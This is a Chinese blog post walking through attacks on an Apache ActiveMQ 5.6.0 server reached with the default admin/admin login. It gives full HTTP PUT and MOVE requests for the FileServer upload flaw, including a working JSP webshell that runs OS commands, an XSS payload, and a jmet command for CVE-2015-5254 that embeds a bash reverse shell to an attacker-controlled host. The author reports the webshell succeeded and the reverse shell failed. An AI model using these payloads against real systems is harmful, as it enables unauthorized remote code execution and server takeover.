ActiveMQ

Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。随着中间件的启动,会打开两个端口,61616是工作端口,消息在这个端口进行传递;8161是Web管理页面端口。

Jetty 是一个开源的 servlet 容器,它为基于 Java 的 web 容器,例如 JSP 和 servlet 提供运行环境。ActiveMQ 5.0 及以后版本默认集成了jetty。在启动后提供一个监控 ActiveMQ 的 Web 应用。

Goby找到一个默认密码的ActiveMQ,从而引发了对这个中间健漏洞的尝试。

在这里插入图片描述

弱口令

访问这个IP的8161端口,弱口令admin/admin。版本为5.6.0

在这里插入图片描述

未授权访问

尝试,失败

http://xx.xx.xx.xx:8161/admin/connections.jsp

在这里插入图片描述

源码泄露

尝试,失败

http://xx.xx.xx.xx:8161/admin/index.jsp
http://xx.xx.xx.xx:8161/admin/queues.jsp
http://xx.xx.xx.xx:8161/admin/topics.jsp 

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

XSS

/admin/queueBrowse/example.A?view=rss&feedType=<script>alert("RRRR")</script>    未成功

在这里插入图片描述

远程代码执行漏洞

漏洞原理:ActiveMQ 中的 FileServer 服务允许用户通过 HTTP PUT 方法上传文件到指定目录,构造PUT请求上传 webshell 到 fileserver 目录,然后通过 Move 方法将其移动到有执行权限的 admin/ 目录。

漏洞影响:Apache ActiveMQ 5.x ~ 5.14.0

PUT获取绝对路径

payload

PUT /fileserver/ab8/x/x/x/1.txt HTTP/1.1
Host: XXX.XX.XX.XX:8161
Authorization: Basic YWRtaW46YWRtaW4=
Content-Length: 8

test-R

在这里插入图片描述

获取了绝对路径后,可以put上传webshell。

PUT /fileserver/2.jsp HTTP/1.1
Host:  XXX.XX.XX.XX:8161
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: JSESSIONID=18wws8yzr1a04iz9gfpkkar3p
Authorization: Basic YWRtaW46YWRtaW4=
X-Forwarded-For: 8.8.8.8
Connection: close
Content-Length: 571


<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("
");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("
"); } %>

在这里插入图片描述

成功上传但是当前目录未解析,尝试使用move方法移动文件。

在这里插入图片描述
MQ解析目录是/admin/ 、/api/将脚本移动到解析目录下

MOVE /fileserver/2.jsp HTTP/1.1
Destination:file:///usr/local/radida/apache-activemq-5.6.0/webapps/admin/2.jsp
Host: xx.xx.xx.xx:8161
Cache-Control: max-age=0
Authorization: Basic YWRtaW46YWRtaW4=
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: JSESSIONID=1gg8b70kfjrzaj189v5lrdbiz
Connection: close

在这里插入图片描述

页面小马,成功使用。(冰蝎马上传连接不上,需要登录认证)

在这里插入图片描述

反序列化漏洞CVE-2015-5254

影响版本:Apache ActiveMQ 5.13.0的版本之前的存在反序列化漏洞

  1. 构造(可以使用ysoserial)可执行命令的序列化对象

  2. 作为一个消息,发送给目标61616端口

  3. 访问web管理页面,读取消息,触发漏洞

探测61616端口开放情况
在这里插入图片描述

https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
使用工具构造可执行命令的序列化对象,并发送给目标61616端口
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -i >& /dev/tcp/VPSIP/1314>&1" -Yp ROME  目标IP   61616

在这里插入图片描述

访问/admin/browse.jsp?JMSDestination=event  点ID触发

在这里插入图片描述
​ 反弹失败。。。。。。。情况不明。

Logo

旨在为数千万中国开发者提供一个无缝且高效的云端环境,以支持学习、使用和贡献开源项目。

更多推荐